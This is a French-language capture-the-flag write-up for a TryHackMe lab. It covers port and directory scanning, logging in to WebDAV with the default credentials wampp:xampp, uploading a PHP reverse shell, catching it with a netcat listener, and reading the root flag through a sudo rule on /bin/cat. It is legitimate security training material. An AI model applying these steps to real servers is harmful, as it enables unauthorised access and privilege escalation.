DAV (Guatemala CTF)
Lien vers l’épreuve : https://tryhackme.com/r/room/bsidesgtdav
Sommaire
- 1. Reconnaissance
- 2. Analyse du site
- 3. Exploitation de Webdav
- 4. Exploration du serveur
- 5. Élévation de privilèges
1. Reconnaissance
nmap -T4 -A 10.10.157.86
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 15:26 CEST
Nmap scan report for 10.10.157.86
Host is up (0.032s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.06 seconds
Le scan NMAP indique uniquement un serveur Apache présent sur le port 80.
2. Analyse du site
A première vue, il ne s’agit que de la page par défaut que nous pouvons obtenir dès l’installation d’Apache.
Nous lançons un scanner gobuster et nous observons une page webdav
qui nécessite une authentification (Status: 401).
gobuster dir -u http://10.10.157.86 -w /usr/share/wordlists/dirb/common.txt -x php,html -b "403,404"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.157.86
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 11321]
/index.html (Status: 200) [Size: 11321]
/webdav (Status: 401) [Size: 459]
Progress: 13842 / 13845 (99.98%)
===============================================================
Finished
===============================================================
A la recherche d’identifiants par défaut sur Google, nous arrivons sur ce blog indiquant wampp:xampp
. Le test est concluant, nous avons accès à l’outil avec ces identifiants.
3. Exploitation de Webdav
En parcourant le site Hacktricks, nous avons connaissance de l’outil cadaver
permettant de téléverser des fichiers sur Webdav. Nous tenterons d’ajouter le reverse-shell PHP mis à disposition sur le Github de pentestmonkey.
Nous avons pu téléverser notre reverse-shell.
cadaver http://10.10.157.86/webdav
Authentication required for webdav on server `10.10.157.86':
Username: wampp
Password:
dav:/webdav/> ls
Listing collection `/webdav/': succeeded.
passwd.dav 44 Aug 26 2019
dav:/webdav/> put php-reverse-shell.php
Uploading php-reverse-shell.php to `/webdav/php-reverse-shell.php':
Progress: [=============================>] 100.0% of 5492 bytes succeeded.
dav:/webdav/> ls
Listing collection `/webdav/': succeeded.
passwd.dav 44 Aug 26 2019
php-reverse-shell.php 5492 Sep 1 16:05
Nous préparons un terminal en écoute sur le port indiqué dans le fichier PHP, puis nous cliquons sur le lien qui est apparu dans le répertoire Webdav.
nc -lvnp 9000
listening on [any] 9000 ...
connect to [10.9.1.218] from (UNKNOWN) [10.10.157.86] 45450
Linux ubuntu 4.4.0-159-generic #187-Ubuntu SMP Thu Aug 1 16:28:06 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
07:09:19 up 45 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
La manipulation a fonctionné. Nous avons un accès à la machine.
4. Exploration du serveur
Nous commençons par améliorer le reverse shell obtenu afin de simplifier la navigation.
Nous constatons que le user www-data
a accès aux répertoires des utilisateurs “merlin” et “wampp”
ls -hAl /home
total 8.0K
drwxr-xr-x 4 merlin merlin 4.0K Aug 25 2019 merlin
drwxr-xr-x 2 wampp wampp 4.0K Aug 25 2019 wampp
Le répertoire de merlin contient le flag utilisateur, et celui-ci est lisible par tout le monde.
cd /home/merlin
ls -hAl
total 36K
-rw------- 1 merlin merlin 2.4K Aug 25 2019 .bash_history
-rw-r--r-- 1 merlin merlin 220 Aug 25 2019 .bash_logout
-rw-r--r-- 1 merlin merlin 3.7K Aug 25 2019 .bashrc
drwx------ 2 merlin merlin 4.0K Aug 25 2019 .cache
-rw------- 1 merlin merlin 68 Aug 25 2019 .lesshst
drwxrwxr-x 2 merlin merlin 4.0K Aug 25 2019 .nano
-rw-r--r-- 1 merlin merlin 655 Aug 25 2019 .profile
-rw-r--r-- 1 merlin merlin 0 Aug 25 2019 .sudo_as_admin_successful
-rw-r--r-- 1 root root 183 Aug 25 2019 .wget-hsts
-rw-rw-r-- 1 merlin merlin 33 Aug 25 2019 user.txt
cat user.txt
449b40[...expurgé...]d66d2a
5. Élévation de privilèges
Nous recherchons à présent le moyen d’obtenir les droits root sur la machine.
En vérifiant les droits sudo de l’utilisateur www-data, nous constatons qu’il est habilité à utiliser la commande /bin/cat
sans mot de passe.
sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu:
(ALL) NOPASSWD: /bin/cat
Nous avons donc la possibilité de lire le contenu du flag root.
sudo /bin/cat /root/root.txt
101101[...expurgé...]f7afa5